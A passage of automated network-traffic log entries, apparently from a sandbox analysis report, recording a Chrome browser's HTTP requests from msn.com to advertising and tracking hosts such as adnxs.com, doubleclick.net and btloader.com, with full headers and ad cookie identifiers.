zaBIBMOoFEAoJc2FsZXNfcG9zEgNBVEbqBRsKD3NhbGVzX3BhZ2VfdHlwZRIIaG9tZXBhZ2XqBRAKDGt2bXNmdF9tb2RlbBIA6gUPCglwYWdlX3R5cGUSAmhw8AUA-gUECAAQAJAGAJgGALgGAMEGAAAAAAAAAADaBhYKEAAAUaAJAXQQABgA4AYA8gYCCACABwGIBwCgBwDIB4LyBdIHDwkJJAAABSYUIADaBwYIBQvwneAHAOoHAggA8Aer9KwKighuCmoAAAGUV-ndoDJUgoIQtAP6PqlJXUBxeqIZseeDkwsn0QzEW54viydgp0xcDO6GvxntIvJIJ8RQcvUwFvieXb3nf0eLX2Yy2htbFzjR99tSADw0FQPWb_AFwUzmluFSjYZsy9WGQkPEi-dkEAGVCAAAgD-YCAHACADSCAYIABAAGADaCAQIACAA4AgA&s=592af8729edfd24c6d865032278721c57c8472b2&bdref=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&bdtop=true&bdifs=1&bstk=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591,https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591& HTTP/1.1Host: ams3-ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels&seller_id=280&pub_id=43801&gdpr=0 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels&seller_id=280&pub_id=43801&gdpr=0 HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /rd_log?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QLMB6DMAwAAAwDWAAUBCMSZjLwGEPqH0IWh0KCqMhjW_q2alIzEwTcqNgkAAAkCABEJBywAABkAAABguB4NQCEREgApEQn0lwIxAAAA4KNw7T8wrsyfDjiYAkCYAkgAUABY5LUDYABo7gJ4gvIFgAEBigEAkgEDVVNEmAHYBaABWqgBAbABALgBAMABAMgBANABANgBAOABAPABAPoBCU1TTlVTRU4xNbICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQAwCYAxegAwGqAwDAA9gEyAMA2AOmBeADAOgDAPgDAYAEAJIEBi91dC92M5gEAKIEDDguNDYuMTIzLjE4OagEALIEEQgAEAEY2AUgWigAMAA4AkIAuAQAwAQAyAQA2gQCCADgBADwBACIBQGYBQCgBQDABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUA6gUMCgZtYXJrZXQSAnVz6gUKCgZmbGlnaHQSAOoFDwoLa3Ztc2Z0X3llYXISAOoFDwoLa3Ztc2Z0X21ha2USAOoFCgoEbGFuZxICZW7qBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgNwdWISA21zbuoFGQoLZGV2aWNlX3R5cGUSCmRlc2t0b3B3ZWLqBScKA3JpZBIgNGFjMDRjZDQxYmE3NGQxNzk4NGJkYmM1MmVlZTZjZDHqBREKDG1zZnRfcmVmcmVzaBIBMOoFEAoJc2FsZXNfcG9zEgNBVEbqBRsKD3NhbGVzX3BhZ2VfdHlwZRIIaG9tZXBhZ2XqBRAKDGt2bXNmdF9tb2RlbBIA6gUPCglwYWdlX3R5cGUSAmhw8AUA-gUECAAQAJAGAJgGALgGAMEGAAAAAAAAAADaBhYKEAAAUaAJAXQQABgA4AYA8gYCCACABwGIBwCgBwDIB4LyBdIHDwkJJAAABSYUIADaBwYIBQvwneAHAOoHAggA8Aer9KwKighuCmoAAAGUV-ndoDJUgoIQtAP6PqlJXUBxeqIZseeDkwsn0QzEW54viydgp0xcDO6GvxntIvJIJ8RQcvUwFvieXb3nf0eLX2Yy2htbFzjR99tSADw0FQPWb_AFwUzmluFSjYZsy9WGQkPEi-dkEAGVCAAAgD-YCAHACADSCAYIABAAGADaCAQIACAA4AgA&s=592af8729edfd24c6d865032278721c57c8472b2&bdref=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&bdtop=true&bdifs=1&bstk=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591,https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591& HTTP/1.1Host: ams3-ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels&seller_id=280&pub_id=43801&gdpr=0 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.20959962355841588 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels&seller_id=280&pub_id=43801&gdpr=0 HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.35813040706085775 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.20959962355841588 HTTP/1.1Host: ad-delivery.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.8324983336380325 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /country?o=6208086025961472 HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv?tid=Yx5KZ8zC-QSK1TADgDv-9457e9d91b&w=5671737388695552&o=6208086025961472&cv=2.1.67-1-g39aeacf&widget=false&r=false&vr=1280x907&pageURL=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&sid=yUe5TrqwWT-Vj48rCot6-9457e9d91b&pm=false&upapi=true HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /script/rlink.js?o=6208086025961472&bt_env=prod HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.35813040706085775 HTTP/1.1Host: ad-delivery.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.8324983336380325 HTTP/1.1Host: ad-delivery.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /country?o=6208086025961472 HTTP/1.1Host: api.btloader.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /script/rlink.js?o=6208086025961472&bt_env=prod HTTP/1.1Host: cdn.btmessage.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=6208086025961472&w=msn.com&l=EN HTTP/1.1Host: api.btmessage.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /it?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QKGDvBDBgcAAAMA1gAFAQjEmYy8BhCW_b_ilI_C1GwY1v6tmpSMxME3KjYJC9ejcD0K5z8RC9ejcD0K5z8ZAAAAgOtRFUAhC9cJGwApESTIMQAAAKBH4eo_MM-uyAE4mAJA8lZIAlCH8_SFAljktQNgAGjuAniC8gWAAQGKAQNVU0SSBQbwVZgBrAKgAdgEqAEBsAEAuAEBwAEFyAEC0AEA2AEA4AEA8AEA-gEJTVNOVVNFTjExigJUdWYoJ2EnLCA1NTg2ODA3LCAwKTt1ZignaScsIDEwOTM3OTYzFRUsZycsIDI2NzczMjEwFRUAcgE-HDQ5MjcxOTQzBRbwi5ICvQQhUW04TnVBaVB3YjBkRUlmejlJVUNHQUFnNUxVRE1BQTRBRUFBU1BKV1VNLXV5QUZZQUdDdUJtZ0FjQUI0QUlBQkFJZ0JBSkFCQVpnQkFhQUJBYWdCQWJBQkFMa0JnazBNTGo0SzV6X0JBWUpOREM0LUN1Y195UUVBQUFBQUFBRHdQOWtCQUFBBQ50OERfZ0Fldk1td1gxQWV4Uk9ELVlBZ0NnQWdHMUFnASMEQzkJCPBVREFBZ0RJQWdEUUFnRFlBZ0RnQWdEb0FnRDRBZ0NBQXdHWUF3RzZBd2xCVFZNek9qWXdNalRnQTZSSWdBVGp6UGNQaUFUaTlfY1BrQVFBbUFRQndRUUEBYgUBCE1rRQUIBQEIRFJCBQgoQUF3Q0ZBMkFRQTguLAA4SWdGaUMtUUJlM3pjS2tGDSsYQThELXhCUREOPEFBd1FVSzE2TndQUXJuUDguKAAEX1IuKAAIMlFVDTXARHdQLUFGd0xJRThBWGFqZUlNLUFYM190UUNnZ1lEVlZORWlBWUFrQVlCbUFZQW9RWRlgJDZnR0JMSUdKQWsNTAxBQUFCHdMEQmsBEgkBAEMdGOhMZ0dDdmdIM3RJSS1BZTQ0Z2o0Ql9uM0NJRUlDdGVqY0QwSzV6LUlDQUNRQ0FBLpoCmQEhX2hUVndRaTZBAihPUzFBeUFBS0FBeBk5TDg2Q1VGTlV6TTZOakF5TkVDa1NFEYkMRHdQMR2JAEYRGAxBQUFHHRgARx0YAEgNGBxNQWhRSGdBaS5VAvSBAXcuLrICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQA-3zcJgDF6ADAaoDAMAD2ATIAwDYA6YF4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQMOC40Ni4xMjMuMTg5qAQAsgQUCAUQBBisAiD6ASgBKAIwADgEQgC4BADABI6XvSLIBADSBA8xMTEyMiNBTVMzOjYwMjTaBAIIAeAEAfAEh_P0hQKIBQGYBQCgBf___________wHABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AUB-gUECAAQAIoGgAFVQk9PR0ZvQUFBQURBQWtDQlFFSXJ0V0tDeENVdXFrREdQTGRzQVFnQmlnQVFMaUV0d3hJX29TM0RGQ2tT